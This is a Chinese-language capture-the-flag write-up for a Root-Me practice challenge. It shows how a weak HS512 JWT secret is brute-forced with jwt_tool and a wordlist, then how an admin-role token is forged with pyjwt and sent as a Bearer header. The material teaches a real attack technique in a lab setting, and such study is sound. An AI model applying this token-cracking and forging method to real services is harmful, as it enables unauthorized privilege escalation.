[RooteMe]JSON Web Token (JWT) - Weak secret Writeup

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

Root-me网址:

https://www.root-me.org/en/Challenges/Web-Server/JSON-Web-Token-JWT-Weak-secret

知识点

  • jwt 弱密钥

前言

继上篇文章JSON Web Token (JWT) - Introduction后:

这篇文章主要讲的是弱密钥。我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的

访问主页

在这里插入图片描述
提示使用get方式请求token页面。然后使用token通过post访问admin页面

先访问token页面

在这里插入图片描述
给出了tocken.

{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}

在这里插入图片描述
在这里插入图片描述
通过.分割,依次解码。得到payload

扫描二维码关注公众号,回复: 8623855 查看本文章
{"role":"guest"}

现在,我们尝试吧guest修改为admin。然后通过加密密钥获得签名。但现在我们没有加密密钥,需要先进行爆破。。使用:https://github.com/ticarpi/jwt_tool来进行爆破

安装好后,执行下条命令,直接将token传给这个文件

python3 jwt_tool.py eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.a4Cxf97xhqpexX-Mw0Ik74ncg6TdCK8R_Q7wYC929himTEOyJmePFYCJYvj-ICUTZrVqjPUa83GeMO5AVuOH0Q

在这里插入图片描述
在这里插入图片描述

在这里我们选 选项77: Crack signature with supplied dictionary file。通过字典破解签名。然后再输入字典路径。
在这里插入图片描述
在这里插入图片描述

很快爆出了密钥是lol。

知道密钥后,再次在python加密
没有jwt的先执行pip install pyjwt

import jwt
encoded = jwt.encode({'role': 'admin'}, 'lol', algorithm='HS512')
encoded

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
在这里插入图片描述

我使用post请求访问admin页面,提示格式必须为Authorization: Bearer YOURTOKEN
在这里插入图片描述

bp抓包修改头。

在这里插入图片描述

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

发布了38 篇原创文章 · 获赞 8 · 访问量 2095

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/103756821